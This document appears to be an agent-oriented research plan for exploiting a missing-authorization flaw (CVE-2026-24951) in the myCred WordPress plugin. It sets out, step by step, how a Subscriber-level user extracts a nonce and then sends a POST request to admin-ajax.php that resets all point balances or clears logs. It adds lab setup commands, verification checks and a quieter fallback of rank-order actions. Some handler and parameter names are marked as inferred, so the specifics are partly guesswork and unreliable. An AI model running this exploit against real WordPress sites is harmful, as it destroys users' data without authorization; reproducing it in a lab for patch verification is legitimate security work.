Research Plan: CVE-2026-24951 - myCred Missing Authorization

1. Vulnerability Summary

The myCred plugin (<= 2.9.7.3) is vulnerable to Missing Authorization in an AJAX handler responsible for administrative management tasks. While the function implements a nonce check for CSRF protection, it fails to perform a capability check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user, including those with Subscriber privileges, to trigger administrative actions such as resetting user balances, clearing logs, or modifying rank/badge orders.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: mycred-management-action (inferred from common myCred management patterns)
• Payload Parameter: type (defines the action: reset_balances, clear_log, reset_ranks)
• Authentication: Subscriber-level access (any logged-in user).
• Precondition: Acquisition of a valid nonce for the management action.

3. Code Flow

1. The plugin registers the AJAX action: add_action( 'wp_ajax_mycred-management-action', 'mycred_management_action_handler' ).
2. The handler mycred_management_action_handler (likely in includes/mycred-ajax.php or includes/mycred-functions.php) is invoked.
3. The handler calls check_ajax_referer( 'mycred-management-nonce', 'nonce' ).
4. The Vulnerability: The handler immediately proceeds to process the type parameter (e.g., reset_balances) without checking if the user has the manage_options or mycred_manage capability.
5. The logic performs destructive database operations (e.g., DELETE FROM {$wpdb->prefix}mycred_log or UPDATE {$wpdb->usermeta} SET meta_value = 0 WHERE meta_key = 'mycred_default').

4. Nonce Acquisition Strategy

The nonce mycred-management-nonce is required. In myCred, management nonces are often localized via wp_localize_script for admin-side scripts, but may inadvertently be exposed or shared with other nonces.

1. Identify Shortcode: The [mycred_history] or [mycred_transfer] shortcodes often enqueue the core myCred scripts.
2. Create Test Page:
   wp post create --post_type=page --post_status=publish --post_title="Points" --post_content='[mycred_history]'
3. Extract Nonce via Browser:
   • Navigate to the newly created page as a Subscriber.
   • Use browser_eval to search for localized management data.
   • JS Variable to check: window.mycred_management?.nonce or window.mycred_vars?.management_nonce.
   • Note: If the specific management nonce is only in the admin dashboard, check if the Subscriber can access /wp-admin/profile.php and if the script is enqueued there.

5. Exploitation Strategy

Once the nonce is obtained, perform a POST request to admin-ajax.php to reset all user balances.

• Tool: http_request
• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: mycred-management-action
  • nonce: [EXTRACTED_NONCE]
  • type: reset_balances (or clear_log to delete history)

6. Test Data Setup

1. Users:
   • Create an admin user: wp user create admin admin@example.com --role=administrator
   • Create a subscriber user: wp user create attacker attacker@example.com --role=subscriber
2. Points Setup:
   • Give the admin some points: wp mycred add admin 1000 --reason="Test Points"
   • Ensure the log is not empty: wp mycred log list
3. Page Setup:
   • Create the page for nonce extraction: wp post create --post_type=page --post_status=publish --post_content='[mycred_history]'

7. Expected Results

• Response: The AJAX handler should return a success message (e.g., {"success":true} or a string "Balances Reset").
• Impact: All user balances in the wp_usermeta table (for the myCred point type) will be set to 0.

8. Verification Steps

1. Check Balances:
   wp user get admin --fields=mycred_default (Should return 0 after exploit).
2. Check Logs:
   If type=clear_log was used: wp db query "SELECT count(*) FROM wp_mycred_log" (Should return 0).
3. Check Capability Check (Code Level):
   grep -r "mycred-management-action" wp-content/plugins/mycred/ to find the handler, then verify if current_user_can is present in the vulnerable version vs the patched version.

9. Alternative Approaches

• Target Rank Ordering: If reset_balances is too noisy, try action=mycred-save-badge-order or action=mycred-update-rank-order which often share the same missing authorization pattern.
• Check for mycred-nonce: If the management-specific nonce is unavailable, check if the plugin accepts the generic mycred-nonce (often found in window.mycred_vars.nonce) for management actions. This is a common implementation flaw in myCred.